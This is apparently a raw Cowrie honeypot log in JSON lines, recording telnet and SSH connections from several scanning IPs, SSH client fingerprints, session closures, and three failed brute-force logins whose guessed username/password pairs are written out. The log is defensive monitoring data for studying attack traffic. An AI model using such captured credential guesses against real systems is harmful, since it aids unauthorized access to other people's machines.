{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":53870,"dst_ip":"10.17.0.5","dst_port":23,"session":"7fba35570f70","protocol":"telnet","message":"New connection: 103.157.135.60:53870 (10.17.0.5:23) [session: 7fba35570f70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:05.319939Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.87.43.158","src_port":36754,"dst_ip":"159.203.135.109","dst_port":23,"session":"c86f1505dd49","protocol":"telnet","message":"New connection: 45.87.43.158:36754 (159.203.135.109:23) [session: c86f1505dd49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:05.388537Z"}
{"eventid":"cowrie.session.closed","duration":30.385054349899292,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:05.675154Z","src_ip":"103.157.135.60","session":"d1ce7be4a69e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.87.43.158","src_port":36758,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9465e547770","protocol":"telnet","message":"New connection: 45.87.43.158:36758 (159.203.135.109:23) [session: f9465e547770]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:05.804091Z"}
{"eventid":"cowrie.session.closed","duration":31.04259157180786,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:05.970263Z","src_ip":"45.87.43.158","session":"16beeefdb6d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.450796842575073,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:06.245579Z","src_ip":"45.87.43.158","session":"e04a55b6ac7b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.203.5","src_port":48210,"dst_ip":"159.203.135.109","dst_port":23,"session":"25f83d2cc599","protocol":"telnet","message":"New connection: 136.144.203.5:48210 (159.203.135.109:23) [session: 25f83d2cc599]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:06.919615Z"}
{"eventid":"cowrie.session.closed","duration":30.720462560653687,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:07.295330Z","src_ip":"45.87.43.158","session":"62c7f97c9293","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56726,"dst_ip":"159.203.135.109","dst_port":22,"session":"11e54fba4b30","protocol":"ssh","message":"New connection: 159.203.92.129:56726 (159.203.135.109:22) [session: 11e54fba4b30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:09.522797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:09.527280Z","src_ip":"159.203.92.129","session":"11e54fba4b30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:09.531600Z","src_ip":"159.203.92.129","session":"11e54fba4b30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible.123","message":"login attempt [ansible/ansible.123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:09.544481Z","src_ip":"159.203.92.129","session":"11e54fba4b30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.429454565048218,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:10.079607Z","src_ip":"45.87.43.158","session":"bbb3d93190ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:10.550534Z","src_ip":"159.203.92.129","session":"11e54fba4b30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.450854539871216,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:10.676065Z","src_ip":"103.157.135.60","session":"7e35e05c3895","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.225157260894775,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:10.808471Z","src_ip":"45.87.43.158","session":"671bd6318cbc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":40836,"dst_ip":"10.17.0.5","dst_port":23,"session":"7618a5ebd00b","protocol":"telnet","message":"New connection: 103.157.135.60:40836 (10.17.0.5:23) [session: 7618a5ebd00b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:12.439183Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.130","src_port":47666,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c865c1440d0","protocol":"ssh","message":"New connection: 37.143.61.130:47666 (159.203.135.109:22) [session: 3c865c1440d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:13.492623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:14.395490Z","src_ip":"37.143.61.130","session":"3c865c1440d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:14.493220Z","src_ip":"37.143.61.130","session":"3c865c1440d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.905731439590454,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:16.052525Z","src_ip":"136.144.203.5","session":"210aad06377e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.052647352218628,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:16.352503Z","src_ip":"45.87.43.158","session":"e8a526c1aa41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.87.43.158","src_port":39172,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c38032095da","protocol":"telnet","message":"New connection: 45.87.43.158:39172 (159.203.135.109:23) [session: 0c38032095da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:16.534659Z"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.203.5","src_port":54940,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ceeb2223708","protocol":"telnet","message":"New connection: 136.144.203.5:54940 (159.203.135.109:23) [session: 8ceeb2223708]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:16.727175Z"}
{"eventid":"cowrie.session.closed","duration":30.43470525741577,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:18.631089Z","src_ip":"103.157.135.60","session":"4039e6122431","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.116136074066162,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:18.705524Z","src_ip":"103.157.135.60","session":"fae4d88c17f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"125.31.2.160","src_port":37970,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1532aec02f8","protocol":"ssh","message":"New connection: 125.31.2.160:37970 (10.17.0.5:22) [session: e1532aec02f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:20.754281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:20.759242Z","src_ip":"125.31.2.160","session":"e1532aec02f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.130388736724854,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:20.827462Z","src_ip":"45.87.43.158","session":"82962afee76c","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:20.976918Z","src_ip":"125.31.2.160","session":"e1532aec02f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":57608,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9748d96a7ae","protocol":"telnet","message":"New connection: 103.157.135.60:57608 (10.17.0.5:23) [session: c9748d96a7ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:21.331521Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456Lk","message":"login attempt [root/123456Lk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:21.409908Z","src_ip":"37.143.61.130","session":"3c865c1440d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.04222059249878,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:21.446221Z","src_ip":"45.87.43.158","session":"7ebbd623b905","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.870618104934692,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:21.505269Z","src_ip":"45.87.43.158","session":"6101497e37e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.609315872192383,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:21.649712Z","src_ip":"103.157.135.60","session":"aa2440f8de29","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"=]-[0p9o8i","message":"login attempt [root/=]-[0p9o8i] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:21.882338Z","src_ip":"125.31.2.160","session":"e1532aec02f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.65358281135559,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:22.179510Z","src_ip":"45.87.43.158","session":"65292fbb1d82","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"9.4","message":"Connection lost after 9.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:22.895623Z","src_ip":"37.143.61.130","session":"3c865c1440d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:23.103647Z","src_ip":"125.31.2.160","session":"e1532aec02f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":34316,"dst_ip":"10.17.0.5","dst_port":23,"session":"c88ae0499833","protocol":"telnet","message":"New connection: 103.157.135.60:34316 (10.17.0.5:23) [session: c88ae0499833]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:23.746932Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":37420,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc4f451db99c","protocol":"telnet","message":"New connection: 103.157.135.60:37420 (10.17.0.5:23) [session: bc4f451db99c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:24.248669Z"}
{"eventid":"cowrie.session.closed","duration":30.78459668159485,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:25.621307Z","src_ip":"103.157.135.60","session":"1f73a64db7f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.869624137878418,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:27.134182Z","src_ip":"45.87.43.158","session":"aec605a16c5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74707841873169,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:29.425143Z","src_ip":"45.87.43.158","session":"56d6128cb341","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.87.43.158","src_port":36434,"dst_ip":"159.203.135.109","dst_port":23,"session":"8770e8b08a39","protocol":"telnet","message":"New connection: 45.87.43.158:36434 (159.203.135.109:23) [session: 8770e8b08a39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:29.610837Z"}
{"eventid":"cowrie.session.closed","duration":30.240782976150513,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:30.066520Z","src_ip":"45.87.43.158","session":"19d743500c21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.87.43.158","src_port":36450,"dst_ip":"159.203.135.109","dst_port":23,"session":"10cbc8474a7b","protocol":"telnet","message":"New connection: 45.87.43.158:36450 (159.203.135.109:23) [session: 10cbc8474a7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:30.220550Z"}
{"eventid":"cowrie.session.closed","duration":31.310200214385986,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:30.259679Z","src_ip":"45.87.43.158","session":"2dd56d716d97","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.75834894180298,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:31.567879Z","src_ip":"136.144.203.5","session":"2ce9b6915ff5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.176559448242188,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:33.086313Z","src_ip":"45.87.43.158","session":"6b83e1a3b6af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":35104,"dst_ip":"159.203.135.109","dst_port":23,"session":"7020c51bb3e6","protocol":"telnet","message":"New connection: 146.19.248.24:35104 (159.203.135.109:23) [session: 7020c51bb3e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:34.854055Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.87.43.158","src_port":52098,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f8551ef00a9","protocol":"telnet","message":"New connection: 45.87.43.158:52098 (159.203.135.109:23) [session: 5f8551ef00a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:35.007430Z"}
{"eventid":"cowrie.session.closed","duration":30.308218240737915,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:35.628041Z","src_ip":"103.157.135.60","session":"7fba35570f70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.67244815826416,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:35.997614Z","src_ip":"45.87.43.158","session":"ff3d2b642d92","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90985870361328,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:36.713874Z","src_ip":"45.87.43.158","session":"f9465e547770","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.419294357299805,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:36.807703Z","src_ip":"45.87.43.158","session":"c86f1505dd49","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.87.43.158","src_port":52106,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe7179cff0b8","protocol":"telnet","message":"New connection: 45.87.43.158:52106 (159.203.135.109:23) [session: fe7179cff0b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:36.906234Z"}
{"eventid":"cowrie.session.closed","duration":30.145922422409058,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:37.065395Z","src_ip":"136.144.203.5","session":"25f83d2cc599","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.332099199295044,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:37.710896Z","src_ip":"139.162.207.207","session":"47d1107e4e3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.87.43.158","src_port":52118,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f92decdad92","protocol":"telnet","message":"New connection: 45.87.43.158:52118 (159.203.135.109:23) [session: 3f92decdad92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:38.081033Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.87.43.158","src_port":52134,"dst_ip":"159.203.135.109","dst_port":23,"session":"25cc0df92e08","protocol":"telnet","message":"New connection: 45.87.43.158:52134 (159.203.135.109:23) [session: 25cc0df92e08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:41.651905Z"}
{"eventid":"cowrie.session.closed","duration":31.313659191131592,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:43.752752Z","src_ip":"103.157.135.60","session":"7618a5ebd00b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":57248,"dst_ip":"10.17.0.5","dst_port":23,"session":"664aeb7bd989","protocol":"telnet","message":"New connection: 103.157.135.60:57248 (10.17.0.5:23) [session: 664aeb7bd989]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:47.156407Z"}
{"eventid":"cowrie.session.closed","duration":30.923282623291016,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:47.457756Z","src_ip":"45.87.43.158","session":"0c38032095da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.267314672470093,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:47.994283Z","src_ip":"136.144.203.5","session":"8ceeb2223708","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":59458,"dst_ip":"10.17.0.5","dst_port":23,"session":"217aa573705e","protocol":"telnet","message":"New connection: 103.157.135.60:59458 (10.17.0.5:23) [session: 217aa573705e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:48.186586Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":59480,"dst_ip":"10.17.0.5","dst_port":23,"session":"b89a11cd7dab","protocol":"telnet","message":"New connection: 103.157.135.60:59480 (10.17.0.5:23) [session: b89a11cd7dab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:48:49.195053Z"}
